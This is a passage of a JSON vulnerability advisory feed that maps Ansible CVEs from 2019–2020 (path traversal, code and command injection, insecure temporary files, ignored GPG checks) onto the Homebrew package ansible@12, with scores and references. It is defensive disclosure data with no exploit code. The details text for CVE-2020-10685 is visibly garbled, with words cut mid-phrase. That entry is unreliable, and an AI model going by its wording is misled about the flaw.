path.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:L/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:N"},{"type":"CVSS_V4","score":"CVSS:4.0/AV:L/AC:L/AT:N/PR:H/UI:P/VC:L/VI:L/VA:N/SC:L/SI:L/SA:N"}],"references":[{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2019-3828"},{"type":"WEB","url":"https://github.com/ansible/ansible/pull/52133"},{"type":"WEB","url":"https://github.com/ansible/ansible/commit/396a2f74717477d80600450e2b7e45349d7b5110"},{"type":"WEB","url":"https://github.com/ansible/ansible/commit/4be3215d2f9f84ca283895879f0c6ce1ed7dd333"},{"type":"WEB","url":"https://github.com/ansible/ansible/commit/f3edc091523fbe301926b7a0db25fbbd96940d93"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2019:3744"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2019:3789"},{"type":"WEB","url":"https://bugzilla.redhat.com/show_bug.cgi?id=CVE-2019-3828"},{"type":"ADVISORY","url":"https://github.com/advisories/GHSA-74vq-h4q8-x6jv"},{"type":"PACKAGE","url":"https://github.com/ansible/ansible"},{"type":"WEB","url":"https://github.com/pypa/advisory-database/tree/main/vulns/ansible/PYSEC-2019-5.yaml"},{"type":"WEB","url":"https://usn.ubuntu.com/4072-1"},{"type":"WEB","url":"http://lists.opensuse.org/opensuse-security-announce/2019-04/msg00021.html"},{"type":"WEB","url":"http://lists.opensuse.org/opensuse-security-announce/2019-06/msg00077.html"},{"type":"WEB","url":"http://lists.opensuse.org/opensuse-security-announce/2019-08/msg00020.html"},{"type":"WEB","url":"http://packetstormsecurity.com/files/172837/Ansible-Fetch-Path-Traversal.html"}]},{"schema_version":"1.7.3","id":"BREW-ansible@12-CVE-2020-10684","published":"2026-08-13T16:35:22Z","modified":"2026-09-09T23:41:06Z","upstream":["GHSA-p62g-jhg6-v3rq","CVE-2020-10684","PYSEC-2020-207"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible@12","purl":"pkg:brew/ansible%4012"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"12.3.0"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"2.9.7"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"ansible","subject_version":"12.3.0","key":"pkg:pypi/ansible@12.3.0"},{"strategy":"distro","ecosystem":"Debian","name":"ansible","key":"Debian/ansible"},{"strategy":"distro","ecosystem":"PyPI","name":"ansible","subject_version":"12.3.0","key":"upstream:pkg:pypi/ansible@12.3.0"},{"strategy":"distro","ecosystem":"Ubuntu","name":"ansible","key":"Ubuntu/ansible"}]},"summary":"Code Injection, Race Condition, and Execution with Unnecessary Privileges in Ansible","details":"A flaw was found in Ansible Engine, all versions 2.7.x, 2.8.x and 2.9.x prior to 2.7.17, 2.8.11, and 2.9.7 respectively, when using ansible_facts as a subkey of itself and promoting it to a variable when inject is enabled, overwriting the ansible_facts after the clean. An attacker could take advantage of this by altering the ansible_facts, such as ansible_hosts, users and any other key data which would lead into privilege escalation or code injection.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H"},{"type":"CVSS_V4","score":"CVSS:4.0/AV:L/AC:L/AT:N/PR:L/UI:N/VC:N/VI:H/VA:H/SC:N/SI:N/SA:N"}],"references":[{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2020-10684"},{"type":"WEB","url":"https://github.com/ansible/ansible/commit/0b4788a71fc7d24ffa957a94ee5e23d6a9733ab0"},{"type":"WEB","url":"https://github.com/ansible/ansible/commit/1d0d2645eed36ac4e17052ab4eacf240132d96fb"},{"type":"WEB","url":"https://github.com/ansible/ansible/commit/5eabf7bb93c9bfc375b806a2b1f623d650cddc2b"},{"type":"WEB","url":"https://github.com/ansible/ansible/commit/a9d2ceafe429171c0e2ad007058b88bae57c74ce"},{"type":"WEB","url":"https://bugzilla.redhat.com/show_bug.cgi?id=CVE-2020-10684"},{"type":"ADVISORY","url":"https://github.com/advisories/GHSA-p62g-jhg6-v3rq"},{"type":"PACKAGE","url":"https://github.com/ansible/ansible"},{"type":"WEB","url":"https://github.com/pypa/advisory-database/tree/main/vulns/ansible/PYSEC-2020-207.yaml"},{"type":"WEB","url":"https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/DKPA4KC3OJSUFASUYMG66HKJE7ADNGFW"},{"type":"WEB","url":"https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/MRRYUU5ZBLPBXCYG6CFP35D64NP2UB2S"},{"type":"WEB","url":"https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/WQVOQD4VAIXXTVQAJKTN7NUGTJFE2PCB"},{"type":"WEB","url":"https://security.gentoo.org/glsa/202006-11"},{"type":"WEB","url":"https://www.debian.org/security/2021/dsa-4950"}]},{"schema_version":"1.7.3","id":"BREW-ansible@12-CVE-2020-10685","published":"2026-08-13T16:35:22Z","modified":"2026-09-09T23:41:06Z","upstream":["GHSA-77g3-3j5w-64w4","CVE-2020-10685","PYSEC-2020-1"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible@12","purl":"pkg:brew/ansible%4012"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"12.3.0"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"2.9.7"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"ansible","subject_version":"12.3.0","key":"pkg:pypi/ansible@12.3.0"},{"strategy":"distro","ecosystem":"Debian","name":"ansible","key":"Debian/ansible"},{"strategy":"distro","ecosystem":"PyPI","name":"ansible","subject_version":"12.3.0","key":"upstream:pkg:pypi/ansible@12.3.0"},{"strategy":"distro","ecosystem":"Ubuntu","name":"ansible","key":"Ubuntu/ansible"}]},"summary":"Exposure of Resource to Wrong Sphere and Insecure Temporary File in Ansible","details":"A flaw was found in Ansible Engine affecting Ansible Engine versions 2.7.x before 2.7.17 and 2.8.x before 2.8.11 and 2.9.x before 2.9.7 as well as Ansible Tower before and including versions 3.4.5 and 3.5.5 and 3.6.3 when using modules which decrypts vault files such as assemble, script, unarchive, win_copy, aws_s3 or copy modules. The temporary directory is created in /tmp leaves the s ts unencrypted. On Operating Systems which /tmp is not a tmpfs but part of the root partition, the directory is only cleared on boot and the decryp emains when the host is switched off. The system will be vulnerable when the system is not running. So decrypted data must be cleared as soon as possible and the data which normally is encrypted ble.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N"},{"type":"CVSS_V4","score":"CVSS:4.0/AV:L/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N"}],"references":[{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2020-10685"},{"type":"WEB","url":"https://github.com/ansible/ansible/pull/68433"},{"type":"WEB","url":"https://github.com/ansible/ansible/commit/4e1fe80e681fa466626e9dea53efe6b0253ea1b2"},{"type":"WEB","url":"https://github.com/ansible/ansible/commit/51d2514753544a9d58cd7524e27e696b2c944fb5"},{"type":"WEB","url":"https://github.com/ansible/ansible/commit/e1273b6faf036ed84e4f4edee85b888a4e256aee"},{"type":"WEB","url":"https://bugzilla.redhat.com/show_bug.cgi?id=CVE-2020-10685"},{"type":"ADVISORY","url":"https://github.com/advisories/GHSA-77g3-3j5w-64w4"},{"type":"PACKAGE","url":"https://github.com/ansible/ansible"},{"type":"WEB","url":"https://github.com/pypa/advisory-database/tree/main/vulns/ansible/PYSEC-2020-1.yaml"},{"type":"WEB","url":"https://security.gentoo.org/glsa/202006-11"},{"type":"WEB","url":"https://www.debian.org/security/2021/dsa-4950"}]},{"schema_version":"1.7.3","id":"BREW-ansible@12-CVE-2020-10691","published":"2026-08-13T16:35:22Z","modified":"2026-09-09T23:41:06Z","upstream":["GHSA-3c67-gc48-983w","CVE-2020-10691","PYSEC-2020-2"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible@12","purl":"pkg:brew/ansible%4012"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"12.3.0"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"2.9.7"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"ansible","subject_version":"12.3.0","key":"pkg:pypi/ansible@12.3.0"},{"strategy":"distro","ecosystem":"Debian","name":"ansible","key":"Debian/ansible"},{"strategy":"distro","ecosystem":"PyPI","name":"ansible","subject_version":"12.3.0","key":"upstream:pkg:pypi/ansible@12.3.0"},{"strategy":"distro","ecosystem":"Ubuntu","name":"ansible","key":"Ubuntu/ansible"}]},"summary":"Path Traversal in Ansible","details":"An archive traversal flaw was found in all ansible-engine versions 2.9.x prior to 2.9.7, when running `ansible-galaxy collection` install. When extracting a collection .tar.gz file, the directory is created without sanitizing the filename. An attacker could take advantage to overwrite any file within the system.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:C/C:N/I:L/A:L"},{"type":"CVSS_V4","score":"CVSS:4.0/AV:L/AC:L/AT:N/PR:L/UI:N/VC:N/VI:L/VA:L/SC:N/SI:N/SA:N"}],"references":[{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2020-10691"},{"type":"WEB","url":"https://github.com/ansible/ansible/pull/68596"},{"type":"WEB","url":"https://github.com/ansible/ansible/commit/b2551bb6943eec078066aa3a923e0bb3ed85abe8"},{"type":"WEB","url":"https://bugzilla.redhat.com/show_bug.cgi?id=CVE-2020-10691"},{"type":"ADVISORY","url":"https://github.com/advisories/GHSA-3c67-gc48-983w"},{"type":"PACKAGE","url":"https://github.com/ansible/ansible"},{"type":"WEB","url":"https://github.com/pypa/advisory-database/tree/main/vulns/ansible/PYSEC-2020-2.yaml"}]},{"schema_version":"1.7.3","id":"BREW-ansible@12-CVE-2020-10729","published":"2026-08-13T16:35:22Z","modified":"2026-09-09T23:41:06Z","upstream":["GHSA-r6h7-5pq2-j77h","CVE-2020-10729","PYSEC-2021-105"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible@12","purl":"pkg:brew/ansible%4012"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"12.3.0"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"2.9.6"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"ansible","subject_version":"12.3.0","key":"pkg:pypi/ansible@12.3.0"},{"strategy":"distro","ecosystem":"Debian","name":"ansible","key":"Debian/ansible"},{"strategy":"distro","ecosystem":"PyPI","name":"ansible","subject_version":"12.3.0","key":"upstream:pkg:pypi/ansible@12.3.0"},{"strategy":"distro","ecosystem":"Ubuntu","name":"ansible","key":"Ubuntu/ansible"}]},"summary":"Insufficiently random values in Ansible","details":"A flaw was found in the use of insufficiently random values in Ansible. Two random password lookups of the same length generate the equal value as the template caching action for the same file since no re-evaluation happens. The highest threat from this vulnerability would be that all passwords are exposed at once for the file. This flaw affects Ansible Engine versions before 2.9.6.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:U/C:H/I:N/A:N"},{"type":"CVSS_V4","score":"CVSS:4.0/AV:L/AC:L/AT:N/PR:L/UI:P/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N"}],"references":[{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2020-10729"},{"type":"WEB","url":"https://github.com/ansible/ansible/issues/34144"},{"type":"WEB","url":"https://github.com/ansible/ansible/pull/67429"},{"type":"WEB","url":"https://github.com/ansible/ansible/commit/c520d70bf4748c8ee6718a7d0d0254051ba1c2e9"},{"type":"WEB","url":"https://bugzilla.redhat.com/show_bug.cgi?id=1831089"},{"type":"ADVISORY","url":"https://github.com/advisories/GHSA-r6h7-5pq2-j77h"},{"type":"PACKAGE","url":"https://github.com/ansible/ansible"},{"type":"WEB","url":"https://github.com/ansible/ansible/blob/v2.9.6/changelogs/CHANGELOG-v2.9.rst"},{"type":"WEB","url":"https://github.com/pypa/advisory-database/tree/main/vulns/ansible/PYSEC-2021-105.yaml"},{"type":"WEB","url":"https://www.debian.org/security/2021/dsa-4950"}]},{"schema_version":"1.7.3","id":"BREW-ansible@12-CVE-2020-10744","published":"2026-08-13T16:35:22Z","modified":"2026-09-09T23:41:06Z","upstream":["GHSA-vp9j-rghq-8jhh","CVE-2020-10744","PYSEC-2020-208"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible@12","purl":"pkg:brew/ansible%4012"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"12.3.0"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"2.10.0rc1"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"ansible","subject_version":"12.3.0","key":"pkg:pypi/ansible@12.3.0"},{"strategy":"distro","ecosystem":"Debian","name":"ansible","key":"Debian/ansible"},{"strategy":"distro","ecosystem":"PyPI","name":"ansible","subject_version":"12.3.0","key":"upstream:pkg:pypi/ansible@12.3.0"},{"strategy":"distro","ecosystem":"Ubuntu","name":"ansible","key":"Ubuntu/ansible"}]},"summary":"Exposure of Resource to Wrong Sphere and Insecure Temporary File in Ansible","details":"An incomplete fix was found for the fix of the flaw CVE-2020-1733 ansible insecure temporary directory when running become_user from become directive. The provided fix is insufficient to prevent the race condition on systems using ACLs and FUSE filesystems. Ansible Engine 2.7.18, 2.8.12, and 2.9.9 as well as previous versions are affected and Ansible Tower 3.4.5, 3.5.6 and 3.6.4 as well as previous versions are affected.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:L/AC:H/PR:L/UI:R/S:C/C:L/I:L/A:L"},{"type":"CVSS_V4","score":"CVSS:4.0/AV:L/AC:L/AT:P/PR:L/UI:N/VC:L/VI:L/VA:L/SC:L/SI:L/SA:L"}],"references":[{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2020-10744"},{"type":"WEB","url":"https://github.com/ansible/ansible/issues/69782"},{"type":"WEB","url":"https://github.com/ansible/ansible/commit/77d0effcc5b2da1ef23e4ba32986a9759c27c10d"},{"type":"WEB","url":"https://github.com/ansible/ansible/commit/84afa8e90cd168ff13208c8eae3e533ce7e21e1f"},{"type":"WEB","url":"https://github.com/ansible/ansible/commit/ffd3757fc35468a97791e452e7f2d14c3e3fcb80"},{"type":"WEB","url":"https://bugzilla.redhat.com/show_bug.cgi?id=CVE-2020-10744"},{"type":"ADVISORY","url":"https://github.com/advisories/GHSA-vp9j-rghq-8jhh"},{"type":"PACKAGE","url":"https://github.com/ansible/ansible"},{"type":"WEB","url":"https://github.com/pypa/advisory-database/tree/main/vulns/ansible/PYSEC-2020-208.yaml"}]},{"schema_version":"1.7.3","id":"BREW-ansible@12-CVE-2020-14330","published":"2026-08-13T16:35:22Z","modified":"2026-09-09T23:41:06Z","upstream":["GHSA-785x-qw4v-6872","CVE-2020-14330","PYSEC-2020-3"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible@12","purl":"pkg:brew/ansible%4012"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"12.3.0"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"2.10.0"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"ansible","subject_version":"12.3.0","key":"pkg:pypi/ansible@12.3.0"},{"strategy":"distro","ecosystem":"Debian","name":"ansible","key":"Debian/ansible"},{"strategy":"distro","ecosystem":"PyPI","name":"ansible","subject_version":"12.3.0","key":"upstream:pkg:pypi/ansible@12.3.0"},{"strategy":"distro","ecosystem":"Ubuntu","name":"ansible","key":"Ubuntu/ansible"}]},"summary":"Improper Output Neutralization and Improper Encoding or Escaping of Output for Logs in ansible","details":"An Improper Output Neutralization for Logs flaw was found in Ansible when using the uri module, where sensitive data is exposed to content and json output. This flaw allows an attacker to access the logs or outputs of performed tasks to read keys used in playbooks from other users within the uri module. The highest threat from this vulnerability is to data confidentiality.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N"},{"type":"CVSS_V4","score":"CVSS:4.0/AV:L/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N"}],"references":[{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2020-14330"},{"type":"WEB","url":"https://github.com/ansible/ansible/issues/68400"},{"type":"WEB","url":"https://github.com/ansible/ansible/pull/69653"},{"type":"WEB","url":"https://github.com/ansible/ansible/commit/e0f25a2b1f9e6c21f751ba0ed2dc2eee2152983e"},{"type":"WEB","url":"https://bugzilla.redhat.com/show_bug.cgi?id=CVE-2020-14330"},{"type":"ADVISORY","url":"https://github.com/advisories/GHSA-785x-qw4v-6872"},{"type":"PACKAGE","url":"https://github.com/ansible/ansible"},{"type":"WEB","url":"https://github.com/pypa/advisory-database/tree/main/vulns/ansible/PYSEC-2020-3.yaml"},{"type":"WEB","url":"https://www.debian.org/security/2021/dsa-4950"}]},{"schema_version":"1.7.3","id":"BREW-ansible@12-CVE-2020-14332","published":"2026-08-13T16:35:22Z","modified":"2026-09-09T23:41:06Z","upstream":["GHSA-j667-c2hm-f2wp","CVE-2020-14332","PYSEC-2020-4"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible@12","purl":"pkg:brew/ansible%4012"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"12.3.0"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"2.10.1rc2"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"ansible","subject_version":"12.3.0","key":"pkg:pypi/ansible@12.3.0"},{"strategy":"distro","ecosystem":"Debian","name":"ansible","key":"Debian/ansible"},{"strategy":"distro","ecosystem":"PyPI","name":"ansible","subject_version":"12.3.0","key":"upstream:pkg:pypi/ansible@12.3.0"},{"strategy":"distro","ecosystem":"Ubuntu","name":"ansible","key":"Ubuntu/ansible"}]},"summary":"Insertion of Sensitive Information into Log File and Improper Output Neutralization for Logs in ansible","details":"A flaw was found in the Ansible Engine when using module_args. Tasks executed with check mode (--check-mode) do not properly neutralize sensitive data exposed in the event data. This flaw allows unauthorized users to read this data. The highest threat from this vulnerability is to confidentiality.","severity":[{"type":"CVSS_V3","score":"CVSS:3.0/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N"},{"type":"CVSS_V4","score":"CVSS:4.0/AV:L/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N"}],"references":[{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2020-14332"},{"type":"WEB","url":"https://github.com/ansible/ansible/pull/71033"},{"type":"WEB","url":"https://github.com/ansible/ansible/commit/291f94934c8c49eef85e6539087f2dfcd001fe4f"},{"type":"WEB","url":"https://github.com/ansible/ansible/commit/6cae9a4b168df776bf82deb04b2c62e00c38b49a"},{"type":"WEB","url":"https://github.com/ansible/ansible/commit/714cd2ad2eff7f003d728414afcb91591fad5d9a"},{"type":"WEB","url":"https://bugzilla.redhat.com/show_bug.cgi?id=CVE-2020-14332"},{"type":"ADVISORY","url":"https://github.com/advisories/GHSA-j667-c2hm-f2wp"},{"type":"PACKAGE","url":"https://github.com/ansible/ansible"},{"type":"WEB","url":"https://github.com/ansible/ansible/blob/stable-2.10/changelogs/CHANGELOG-v2.10.rst#security-fixes-3"},{"type":"WEB","url":"https://github.com/ansible/ansible/blob/stable-2.8/changelogs/CHANGELOG-v2.8.rst#security-fixes-4"},{"type":"WEB","url":"https://github.com/ansible/ansible/blob/stable-2.9/changelogs/CHANGELOG-v2.9.rst#security-fixes-6"},{"type":"WEB","url":"https://github.com/pypa/advisory-database/tree/main/vulns/ansible/PYSEC-2020-4.yaml"},{"type":"WEB","url":"https://www.debian.org/security/2021/dsa-4950"}]},{"schema_version":"1.7.3","id":"BREW-ansible@12-CVE-2020-14365","published":"2026-08-13T16:35:22Z","modified":"2026-09-09T23:41:06Z","upstream":["GHSA-m429-fhmv-c6q2","CVE-2020-14365","PYSEC-2020-209"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible@12","purl":"pkg:brew/ansible%4012"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"12.3.0"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"2.9.13"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"ansible","subject_version":"12.3.0","key":"pkg:pypi/ansible@12.3.0"},{"strategy":"distro","ecosystem":"Debian","name":"ansible","key":"Debian/ansible"},{"strategy":"distro","ecosystem":"PyPI","name":"ansible","subject_version":"12.3.0","key":"upstream:pkg:pypi/ansible@12.3.0"},{"strategy":"distro","ecosystem":"Ubuntu","name":"ansible","key":"Ubuntu/ansible"}]},"summary":"Improper Verification of Cryptographic Signature in ansible","details":"A flaw was found in the Ansible Engine, in ansible-engine 2.8.x before 2.8.15 and ansible-engine 2.9.x before 2.9.13, when installing packages using the dnf module. GPG signatures are ignored during installation even when `disable_gpg_check` is set to `False`, which is the default behavior. This flaw leads to malicious packages being installed on the system and arbitrary code executed via package installation scripts. The highest threat from this vulnerability is to integrity and system availability.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H"},{"type":"CVSS_V4","score":"CVSS:4.0/AV:L/AC:L/AT:N/PR:L/UI:N/VC:N/VI:H/VA:H/SC:N/SI:N/SA:N"}],"references":[{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2020-14365"},{"type":"WEB","url":"https://github.com/ansible/ansible/commit/1d043e082b3b1f3ad35c803137f5d3bcbae92275"},{"type":"WEB","url":"https://github.com/ansible/ansible/commit/1fa2d5fd6b768120b76a77929e27302b06accc0c"},{"type":"WEB","url":"https://github.com/ansible/ansible/commit/9bea33ffa3be3d64827f59882d95b817cfab9b7e"},{"type":"WEB","url":"https://bugzilla.redhat.com/show_bug.cgi?id=1869154"},{"type":"ADVISORY","url":"https://github.com/advisories/GHSA-m429-fhmv-c6q2"},{"type":"PACKAGE","url":"https://github.com/ansible/ansible"},{"type":"WEB","url":"https://github.com/pypa/advisory-database/tree/main/vulns/ansible/PYSEC-2020-209.yaml"},{"type":"WEB","url":"https://www.debian.org/security/2021/dsa-4950"}]},{"schema_version":"1.7.3","id":"BREW-ansible@12-CVE-2020-1733","published":"2026-08-13T16:35:22Z","modified":"2026-09-09T23:41:06Z","upstream":["GHSA-g4mq-6fp5-qwcf","CVE-2020-1733","PYSEC-2020-5"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible@12","purl":"pkg:brew/ansible%4012"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"12.3.0"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"2.9.7"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"ansible","subject_version":"12.3.0","key":"pkg:pypi/ansible@12.3.0"},{"strategy":"distro","ecosystem":"Debian","name":"ansible","key":"Debian/ansible"},{"strategy":"distro","ecosystem":"PyPI","name":"ansible","subject_version":"12.3.0","key":"upstream:pkg:pypi/ansible@12.3.0"},{"strategy":"distro","ecosystem":"Ubuntu","name":"ansible","key":"Ubuntu/ansible"}]},"summary":"Ansible vulnerable to Exposure of Resource to Wrong Sphere and Insecure Temporary File","details":"A race condition flaw was found in Ansible Engine 2.7.17 and prior, 2.8.9 and prior, 2.9.6 and prior when running a playbook with an unprivileged become user. When Ansible needs to run a module with become user, the temporary directory is created in /var/tmp. This directory is created with \"umask 77 && mkdir -p <dir>\"; this operation does not fail if the directory already exists and is owned by another user. An attacker could take advantage to gain control of the become user as the target directory can be retrieved by iterating '/proc/<pid>/cmdline'.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:L/AC:H/PR:L/UI:R/S:C/C:L/I:L/A:L"},{"type":"CVSS_V4","score":"CVSS:4.0/AV:L/AC:L/AT:P/PR:L/UI:P/VC:L/VI:L/VA:L/SC:L/SI:L/SA:L"}],"references":[{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2020-1733"},{"type":"WEB","url":"https://github.com/ansible/ansible/issues/67791"},{"type":"WEB","url":"https://github.com/ansible/ansible/commit/80b9a0a25c5f75e84aefc8f2b293fb1933b154f2"},{"type":"WEB","url":"https://github.com/ansible/ansible/commit/8251d9f4c2bc82632ab992277fcd30ccbf87aa47"},{"type":"WEB","url":"https://github.com/ansible/ansible/commit/ecf99d5e1ff732a7777010facd6c98bb0994605e"},{"type":"WEB","url":"https://bugzilla.redhat.com/show_bug.cgi?id=CVE-2020-1733"},{"type":"ADVISORY","url":"https://github.com/advisories/GHSA-g4mq-6fp5-qwcf"},{"type":"PACKAGE","url":"https://github.com/ansible/ansible"},{"type":"WEB","url":"https://github.com/pypa/advisory-database/tree/main/vulns/ansible/PYSEC-2020-5.yaml"},{"type":"WEB","url":"https://lists.debian.org/debian-lts-announce/2020/05/msg00005.html"},{"type":"WEB","url":"https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/DKPA4KC3OJSUFASUYMG66HKJE7ADNGFW"},{"type":"WEB","url":"https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/MRRYUU5ZBLPBXCYG6CFP35D64NP2UB2S"},{"type":"WEB","url":"https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/WQVOQD4VAIXXTVQAJKTN7NUGTJFE2PCB"},{"type":"WEB","url":"https://security.gentoo.org/glsa/202006-11"},{"type":"WEB","url":"https://www.debian.org/security/2021/dsa-4950"}]},{"schema_version":"1.7.3","id":"BREW-ansible@12-CVE-2020-1734","published":"2026-08-13T16:35:22Z","modified":"2026-09-09T23:41:06Z","upstream":["GHSA-h39q-95q5-9jfp","CVE-2020-1734","PYSEC-2020-6"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible@12","purl":"pkg:brew/ansible%4012"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"12.3.0"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"2.10.0rc1"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"ansible","subject_version":"12.3.0","key":"pkg:pypi/ansible@12.3.0"},{"strategy":"distro","ecosystem":"Debian","name":"ansible","key":"Debian/ansible"},{"strategy":"distro","ecosystem":"PyPI","name":"ansible","subject_version":"12.3.0","key":"upstream:pkg:pypi/ansible@12.3.0"},{"strategy":"distro","ecosystem":"Ubuntu","name":"ansible","key":"Ubuntu/ansible"}]},"summary":"OS Command Injection in ansible","details":"A flaw was found in the pipe lookup plugin of ansible. Arbitrary commands can be run, when the pipe lookup plugin uses `subprocess.Popen()` with `shell=True`, by overwriting ansible facts and the variable is not escaped by quote plugin. An attacker could take advantage and run arbitrary commands by overwriting the ansible facts.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:L/AC:H/PR:L/UI:R/S:C/C:H/I:H/A:L"},{"type":"CVSS_V4","score":"CVSS:4.0/AV:L/AC:L/AT:N/PR:L/UI:P/VC:H/VI:H/VA:L/SC:H/SI:H/SA:L"}],"references":[{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2020-1734"},{"type":"WEB","url":"https://github.com/ansible/ansible/issues/67792"},{"type":"WEB","url":"https://github.com/ansible/ansible/issues/70159"},{"type":"WEB","url":"https://github.com/ansible/ansible/pull/70596"},{"type":"WEB","url":"https://github.com/ansible/ansible/commit/4f978af4ca16ad9828ffe42203b9615425195f8b"},{"type":"WEB","url":"https://github.com/ansible/ansible/commit/963bdd9983b91a48fb6949fb2ef41071e72d0be0"},{"type":"WEB","url":"https://github.com/ansible/ansible/commit/bff0724e9eab2770f874e018298f9ab74cc2a78f"},{"type":"WEB","url":"https://github.com/ansible/ansible/commit/e5649ca3e807f17e7c034ee22791f107162973b0"},{"type":"WEB","url":"https://access.redhat.com/errata/RHBA-2020:0547"},{"type":"WEB","url":"https://access.redhat.com/errata/RHBA-2020:1539"},{"type":"WEB","url":"https://access.redhat.com/security/cve/CVE-2020-1734"},{"type":"WEB","url":"https://bugzilla.redhat.com/show_bug.cgi?id=1801804"},{"type":"WEB","url":"https://bugzilla.redhat.com/show_bug.cgi?id=CVE-2020-1734"},{"type":"ADVISORY","url":"https://github.com/advisories/GHSA-h39q-95q5-9jfp"},{"type":"PACKAGE","url":"https://github.com/ansible/ansible"},{"type":"WEB","url":"https://github.com/pypa/advisory-database/tree/main/vulns/ansible/PYSEC-2020-6.yaml"}]},{"schema_v